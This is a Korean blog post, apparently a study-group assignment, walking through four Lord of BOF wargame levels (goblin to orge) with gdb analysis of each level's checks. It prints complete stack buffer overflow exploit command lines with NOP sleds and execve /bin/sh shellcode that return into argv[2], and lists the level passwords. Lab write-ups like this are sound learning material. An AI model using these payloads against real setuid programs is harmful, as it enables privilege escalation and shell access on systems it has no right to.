이 영역을 누르면 첫 페이지로 이동
caputdraconis 블로그의 첫 페이지로 이동

caputdraconis

페이지 맨 위로 올라가기

caputdraconis

네트워크 관점에서의 클라우드 컴퓨팅을 공부하는 중입니다 :)

<1/2> 지옥방 4주차 과제[goblin-darkelf 다 뿌시기]

  • 2020.04.30 02:41
  • Security/지옥방 스터디
글 작성자: caputdraconis
반응형

https://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885

 

후 시작해보자!


goblin -> orc : egghunter

 

지난번 3번에서 알아낸 비밀번호인 hackers proof로 로그인한당

후 orc.c를 보자

이번에는 조금 길다..for 반복문의 첫 등장

memset 함수는 어떤 메모리의 시작점부터 연속된 범위를 어떤 값으로(바이트 단위) 모두 지정하고 싶을 때 사용하는 함수. 

void *memset(void *ptr, int value, size_t num);

총 3개의 인자가 들어간다. 처음부터 채우고자 하는 메모리의 시작 주소, 채우고자 하는 값, 채우고자 하는 바이트의 수(메모리의 크기)다.

environ[i]에 그 크기만큼 0으로 채운다

environ은 환경변수라고 한다. 전 단계(cobolt -> goblin)에서 작은 버퍼의 크기 탓에 환경변수에 쉘코드를 대입해 사용했었는데 

이번 문제에서는 환경변수를 0으로 모두 초기화시키기 때문에 이를 사용하지 못한다.

 

2차원 배열이 등장했다!!두둥

argv[1][47]이 '\xbf'가 맞아야 취약점으로 보이는 strcpy에 닿게 된다. argv[1]이면 첫 번째로 주어지는 문자열에서 48번째 문자인디,,후 

그럼 일단 40바이트(buffer) + 4바이트(i) + 4바이트(EBP) + Return Address 리턴 어드레스 전에 쉘코드를 넣을 수는 있겠지만 NOP 코드를 넣기에는 조금 부족해 보인다. 이때 선택할 수 있는 선택이 두 가지가 있는데 그건 바로 환경변수를 이용하는 것과 Return Address의 뒤(argv[2])를 이용하는 것!!! 하지만 앞에서도 말했듯이 환경변수는 0으로 초기화당해서 무쓸모,, 그렇다면 argv[2]를 사용한닷!!

대략적으로 설계를 해보자면 "\bf" 48개 + [쉘코드가 있는 argv[2]의 첫 주소값]

여기서!! argv[2]의 주소값을 확인하는 방법은 내가 모르거나 없거나 둘 중 하나일 것이다!!! 확실한 건 난 모른다!

그렇기에 argv[2]에 A를 디따 많이 넣고 스택 상황을 보며 찾아보자

일단 "\xbf"*48와 argv[2]에 A를 디따 넣어주고 확인

BP를 설정해주고  argv[2]의 주소값을 알아내기 위한 값 대입

 

 

argv[2]의 첫 주소값을 확인하기 위해 A가 들어가있는 주소를 찾는중
수작업의 결과, 정성이 느껴지죠? 끄죠?

한참 밑에 후 찾았다.

argv[2]의 주소값은 0xbffffdc3이다. 하지만 이는 실제 실행할 때 변동 가능. 틀렸을 때는 조금씩 바꿔가면서 도전하자.

 

 

 

 

쉘코드는 뭐가 뭔지 모르기에 그냥 나의 정신적 지주인 삭님이 주신 쉘코드를 넣어보겠다!

바로 아래의 코드다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

그렇다면 입력할 코드는 다음과 같다.

./orc `python -c 'print ("A"*44+"\xc3\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

가운데 공백을 추가한 이유는 공백을 기준으로 argv[1]과 argv[2]가 구분되기 때문.

 

 

위의 코드를 입력하면?

역시 한 번에 성공하면 내가 아니다씨. 

움직여주자! 주소값을! 

 

\xc3\xfd\xff\xbf에서 16을 빼서 \xb3\xfd\xff\xbf로 넣었더니 똑같이,, Segmentation fault

 

처음에 알아낸 argv[2]의 주소값에서 32를 뺀 \xa3\xfd\xff\xbf를 넣었더니 와씨

더보기

https://huammmm1.tistory.com/500

 

셸에서 실행할때와 gdb에서 실행할 때 주소가 달라지는 문제

프로그램의 스택 시작 주소를 출력하는 간단한 코드이다. 위 코드를 컴파일 후 실행하면 0xbffff0c8 주소가 출력 된다. 하지만 같은 프로그램을 gdb에서 실행시키면?? 그림에서 보이는 것 처럼 0xbffff

huammmm1.tistory.com

32를 뺀 이유!!

난 저 bash$가 떴을 때 온몸의 털이 다 서서 고슴도치가 됐다.

 

그런 의미에서 

따봉도치야 고마워!!

 

 

다음 라운드 PW를 안 보고 넘어갈 뻔했다.

다음 라운드는 orc / cantata 다

 


 

 

orc -> wolfman : egghunter + bufferhunter

 

이번에 상대할 친구는 wolfman 늑대남...? 짐승남..?이다.

 

저번 단계에서 다루었던 egghunter와 bufferhunter가 섞인 문제인거같다.

물론! 뭔지는 모른다

후 간다!!

 

 

wolfman.c

분석을 해보자!

 

 

하지만 첫 줄부터 막혔다. extern char **environ?

구글링 결과 extern 은 다른 파일에서 선언된 함수 또는 변수를 이 파일에서 사용하고 싶을 때 컴퓨터에게 "나 다른 파일에서 변수나 함수 끌어다가 쓸거야 각오해!"라고 알리는 명령어인거 같다. 

즉 environ 환경변수가 저장된 더블포인터 변수를 가져온다. 

더보기

environ char **environ;

int main(){

     for(int i=0; environ[i]!=NULL; i++){

           printf("%\n", environ[i]);

     }

}

을 실행하면 선언되어있는 환경변수들이 모두 출력된다.

(놀랍게도 지금 확인해보니 goblin->orc 레벨에서도 이 extern char **environ이 있었다. 그치그치 그래야 egghunter를 할테니깐,, 그래도 이걸 못 보고 지나치냐,,)

 

 

main 함수로 들어오면,

buffer(40바이트)와 i(4바이트)를 각각 선언하고 저번 단계와 같은 egghunter를 거쳐 strcpy까지 진행한다.

 

하지만 그 밑에 buffer hunter가 있다. 이는 main 함수 초반에 선언했던 buffer(40바이트)를 0으로 초기화한다. 으잇!?

이곳에 쉘코드는 절대 못 넣을 거 같다.

 

 

정리해보자

goblin->orc 와 orc->wolfman 의 차이점은 buffer hunter, 즉 선언된 buffer 40바이트를 사용하지 못한다는 것이다.

근데,, 이전 단계에서도 buffer는 dummy 값으로 채웠는데? argv[2] 사용햇는데!!?? 그럼 그대로 하면 되지 않을까!!?? 하는 희망을 가져본다.

아까와 같이 진행해보자

 

gdb 분석을 하기 위해서는 orc 권한의 실행파일이 필요하기에 울프맨을 그대로 복사해 ㄱㅅㄲ개인간 를 만들어주자.

gdb 로 dogman을 열어 disass main 으로 메인함수를 어셈블리어로 파악! 문제의 그 녀석, strcpy를 호출하는 main+189에 BP를 걸어주자

 

 

실행할 때 사용할 데이터는

"\xbf" * 52바이트( buffer + i + EBP + ReturnAddress) 와 "A" * 100이다.

 

 

 

 

 

설정해놓은 BP에 걸렸다. ni를 입력해 strcy 함수를 수행시키고 x/20s $esp를 입력해 스택의 상황을 살펴보도록 하자

 

엔터를 누르며 계속 진행한 결과

매애애애애애애애ㅐ애애애ㅐ앤 밑에 argv[2]에 넣은 데이터가 존재한다.

0xbffffdda가 argv[2]의 첫 주소값인 모양이다.

 

쉘코드도 저번과 같은걸로 사용하면

./wolfman `python -c 'print ("A"*48+"\xda\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

가 될 것이다.

 

 

예상치 못한 문구가 출력된다. (그래도 스택이라는 외국인 친구가 생겨서 기쁘다..)

"stack is still your friend"는 argv[1][47]이 "\xbf"가 아닐 때 출력된다.

그러고 보니 위에서 "A"를 48만큼 대입했으니 그럴 만도 하다. 조금 수정해주자

 

./wolfman `python -c 'print ("A"*44+"\xbf"*4+"\xda\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

"A"를 44바이트만큼만 넣고 나머지 4바이트를 "\xbf"로 채웠다. 후 간다

 

 

에러이긴 한데,, 그나마 친숙하다. 이 오류는 아마도 argv[2]의 주솟값이 틀렸기에 출력되는 문구일 것이다. (아니었다)

 

도대체 왜 48바이트의 의미 없는 값을 넣는가,, 혹시 변수 i를 고려한건가...

스택에서 i는 buffer보다 위에 위치하게 된다.  즉 strcpy를 수행하면 buffer부터 채워지게 된다. 변수 i가 갖고 있는 4바이트는 무시해도 된다... 바부야

그냥 이전 문제에서와 같이 dummy 값 44바이트 + argv [2]의 첫 주소 값 + NOP를 포함한 쉘 코드를 주게 되면 출력되는 문구는 같지만 느낌은 다른 

Segmentation fault가 출력된다. 

 

아까와 같이 gdb에서 알아낸 주소와는 달라지는 argv [2]의 주소 값을 고려해 \xda\xfd\xff\xbf를 \xba\xfd\xff\xbf로 고쳐서 실행해보자.

 

밑에 '헿'이 포인트

다음 관문으로 가기 위한 ID와 PW는 wolfman / love eyuna다!

(eyuna가 누구지?) 

 

 


wolfman -> darkelf : check length of argv [1] + egghunter + bufferhunter

 

 

막강한 친구같다

이번 상대는 darkelf다. 

상대와 겨루기 위해서는 상대에 대해 잘 알아야 하는 법

어떻게 생긴 친구인지 먼저 살펴보자

출처: https://www.deviantart.com/beauline/art/Dark-Elf-772975956

이쁘다 씨. 이런 여성분을 어떻게 해치워요ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ

그래도 삭님에게 받는 경고 >>>>>>> 첫눈에 반한 여성분 이므로 시작하자.

 

wolfman / love eyuna

 

추가된 건 check length of argv[1]

argv[1]으로 주어지는 데이터의 크기가 48바이트를 넘어버리면 프로그램이 먼저 종료되어버린다. 그라믄 안되지 후

 

아니 근데 또 똑같은 코드를 써도 되는거 아닐까!!??? A 44바이트에 리턴 어드레스 4바이트 하면 딱 48바이트인데..??????

간다.

gdb로 열어주고~

strcpy 함수가 호출되는 main+237에 BP를 걸어서 아까와 똑같이 진행해보자

 

argv[2]의 첫 주소값을 찾아봅시당~

 

이를 이용해 코드를 짜보자!

./darkelf `python -c 'print ("A"*44+"\xb7\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

 

 

후 간다.

왜 다 똑같은 방법으로 풀리지!!?????? 초반에 그렇게 풀면 안됐었나

 

똑같이 Segmentation fault가 뜨길래 주소값을 \xb7\xfd\xff\xbf 에서 \x97\xfd\xff\xbf로 변경(0x20 뺌)함으로써 풀렸따

 

다음 단계를 위한 ID와 PW는 darkelf / kernel crashed 다.

 


darkelf -> orge : check argv[0]

 

이번에 상대할 친구는!?

?

보리다!

 

 

 

 

역시나 무서운 상대였다. 조심하도록 하자

 

이전 단계에서 알아낸 ID&PW인 darkelf / kernel crashed 로 로그인을 해주고 가지고 있는 친구들을 확인해준다.

 

 

 

ㅋㅋㅋㅋㅋㅋㅋㅋ" here is changed! "  짱 귀엽다 후하후하

 

친절하게 알려준대로 추가된 부분은 argv[0], 즉 우리가 흔히 BOF를 할때 처음에 프로그램을 호출하는! 

저기의 길이가 77이나 되야한다. 후씨 뭐지

 

저 프로그램이 위치해있는 주소 전부를 쓰는건가

옵션값으로 주어진 P는 physical에서 온 것으로, 심볼릭링크가 아닌 실제주소를 보여준다고 한다. 그냥 pwd 했다가 혹시나 해서 붙여봤으나,, 똑같다. 참조: https://blog.azulpintor.io/entry/Linux-%ED%98%84%EC%9E%AC-%EA%B2%BD%EB%A1%9C-%ED%99%95%EC%9D%B8%ED%95%98%EA%B8%B0-pwd-%EB%AA%85%EB%A0%B9%EC%96%B4

그렇다고 하기엔 경로가 너무,,초라하다.

 

 

마지막 자존심인 해설 보지 않기를 지키기 위해 열심히 구글링을 하던중,,,, 두둥

유 . 레 . 카

 

출처: https://qastack.kr/unix/1910/how-does-linux-handle-multiple-consecutive-path-separators-home-username

 

파일 경로 구분자라고 불리는 슬래시( / )를 하나가 아닌 여러개 써도 하나로 인식이 된다는,, 그런 엄청난,, 시크릿

 

그니깐 봐봐여

우리가 평소에 쓰는건 ./orge인데 !!  .//////////////orge도 똑같다는 거잖아여!!!!!!!!!!!!!홀리 쉬이이ㅣㅇㅅ

 

앞에만 저렇게 하고 나머지는 뭐 똑같이,, 후 가자!

권한 문제를 해결해주기 위한 순대국밥 생성 및 gdb로 열기

disass main을 입력해 어셈블리어 코드를 보고 strcpy를 호출하는 main+275에 BP를 걸어 쉘코드를 넣을 argv[2]의 첫주소값을 알아보도록 하겠다잉~

 


문제가 발생했다. 그냥 gdb로 그냥 sundaegukbab을 열어버리면 argv[0]을 내가 따로 지정할 수 없다는걸 깨달았다.

이를 해결하기 위해서!!!!!!!!!! 

gdb sundaegukbab이 아닌 gdb `python -c 'print("./"+"/"63*+"sundaegukbab")'`로 진행해보자


일단 열렸다. 그대로 진행을 해봤는데

 

이런!!!! gdb가 시작할때 상대경로가 아닌 절대경로로 프로그램을 실행하는걸 밑줄 친 부분에서 확인할 수 있다. 저러면 strlen(argv[0])의 값이 달라져서 위처럼 argv[0] error 가 출력된다. 다시 고쳐보자

 

근데 gdb로 분석할려고 만든 파일 이름이 sundaegukbab이다 보니깐 원래 파일인 orge와 프로그램 이름의 길이에 차이가 생긴다.

이는 입력해야하는 슬래시 / 의 개수에 변동을 주게 되므로 큰 문제는 아니지만 귀.찮.다. 

그렇기에 같은 4글자인 파일명 isak님 보고싶다로 진행하겠다.

 

엄청난 계산(숫자 세기)를 통해 슬래시 / 개수를 알아내 실행했다

x/160s $esp로 argv[2]에 들어갔을 A를 찾음으로써! argv[2]의 첫 주소값인 0xbffffd81을 찾아냈다.

 

그럼 모든 준비 끝 후

입력할 코드는 다음과 같다.

`python -c 'print("./"+"/"*57+"orge"+" "+"\xbf"*44+"\x81\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

argv[0] error가 뜬다. 예상으로는 아까 gdb는 절대 경로로 프로그램을 실행했는데 여기서는 안그럴거같은 느낌적인 느낌

그럼 아까 앞에 붙었던 /home/darkelf/의 길이인 14만큼 슬래시 / 를 더 입력해주자.

`python -c 'print("./"+"/"*71+"orge"+" "+"\xbf"*44+"\x81\xfd\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*100)'`

멜론은 애교다

Segmentation fault! 이전 문제들에서 해왔듯이 리턴 어드레스를 조금씩 조절해보자

중간에 계속 안되길래 초반부의 문법을 교체했지만 이는 영향이 없던거같다,

후우우ㅜ우우우우우ㅜ우우우ㅜ우우ㅜ우우우우ㅜ

*  경로에서 파일 경로 구분자라고 불리는 슬래시 / 를 연속적으로 여러개 사용해도!!?? 하나의 슬래시 /로 인식이 된다는 것을 기억하쟈!

 

 

다음 단계를 위한 ID&PW는 orge / timewalker 다.

 

 

 

 

 

 

이제 전반전 끄으읕,,

 


앞에 두 문제는 뭔가 다른 풀이가 있을거 같아서 이 밑에 추가 예정

물론 지금은 아님 후힣

 

<포너블 스터디 과제>

orc -> wolfman 문제를 argv[2]를 사용해서 풀어보자

 

 

argc가 2 이상이면 문제가 없을거기 때문에 argv[2]를 이용한 공격이 가능할거 같다.  

argv[2]의 주소를 찾아보자

 

사용할 쉘코드는 41바이트짜리

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이기에 앞뒤에 NOP 100바이트씩 넣어줄거 감안하면 241바이트를 argv[2]로 넣어주게 된다.

 

권한 문제 때문에 wolfman을 복사한 dogman을 gdb로 열어 disass main 해주자!

main+189에서 strcpy를 호출하기 때문에 main+201 정도에 BP를 걸어 argv[2]의 주소값을 알아내보겠다!!

 

위와 같이 인자를 주고 실행했을때! 설정해놓은 BP에 걸리게 되고 x/1000x $esp 로 스택의 상황을 살펴봤는데 어멋!

어떤 이유에서 200, 41로 나눠서 들어가지는 모르겠지만 암튼 argv[2]로 줬던 "A"가 241바이트만큼 0xbffffb9e에 들어가있다.

 

 

이렇게 알아낸 argv[2]의 첫주소값을 메인함수의 리턴 어드레스로 주게되면 저 argv[2]에 리턴하게 되면서 그곳에 넣어놓은 쉘코드가 실행되게 된다.

./wolfman `python -c 'print("\x90"*44+"\x9e\xfb\xff\xbf")'` `python -c 'print("\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*100)'`

이와 같이 작성해주면!!???

 

너무 작네,,?

성공이따따따따 따따따따따따따 호옷

반응형

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • 지옥방 4주차 포너블 과제 모음집!!뚜둥..

    지옥방 4주차 포너블 과제 모음집!!뚜둥..

    2020.05.17
  • <2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]

    <2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]

    2020.05.11
  • 지옥방 3주차 과제 LOB 2,3번 뿌시기

    지옥방 3주차 과제 LOB 2,3번 뿌시기

    2020.04.28
  • 지옥방 포너블 3주차 과제 모음!

    지옥방 포너블 3주차 과제 모음!

    2020.04.24
다른 글 더 둘러보기

정보

caputdraconis 블로그의 첫 페이지로 이동

caputdraconis

  • caputdraconis의 첫 페이지로 이동

검색

메뉴

    카테고리

    • 분류 전체보기 (168)
      • Cloud (3)
      • Computer Network (12)
      • Database (2)
      • Terraform (2)
      • 🥚고리즘 (13)
      • 겅부겅부🙃 (10)
        • Naver CS50 코칭스터디 (2)
        • Machine Learning (1)
        • Computing System (6)
      • 언어&프레임워크 (20)
        • Python (4)
        • Django (10)
        • Node JS (1)
        • C++ (2)
        • Java (1)
        • Flutter (2)
      • Security (76)
        • WebHacking Study (11)
        • 지옥방 스터디 (22)
        • 여름방학 스터디 (2)
        • PWN Study (6)
        • SUA Reversing Study (3)
        • PWN (3)
        • WebHacking (20)
        • Reversing (4)
      • 알고 있으면 도움되지 않을까,,? (23)
      • 일상다반사 (1)
      • 근황 정리 (1)
      • 42 Seoul (1)
        • Setting (1)

    최근 글

    인기 글

    댓글

    공지사항

    아카이브

    태그

    • 파이썬
    • old-16
    • 드림핵
    • 웹해킹.kr
    • Python
    • 파이썬함수
    • 리스트함수
    • 파이썬기초

    나의 외부 링크

    • Github
    • solved.ac
    • caputdraconis@kakao.com

    정보

    caputdraconis의 caputdraconis

    caputdraconis

    caputdraconis

    블로그 구독하기

    • 구독하기
    • RSS 피드

    방문자

    • 전체 방문자
    • 오늘
    • 어제

    티스토리

    • 티스토리 홈
    • 이 블로그 관리하기
    • 글쓰기
    Powered by Tistory / Kakao. Copyright © caputdraconis.

    티스토리툴바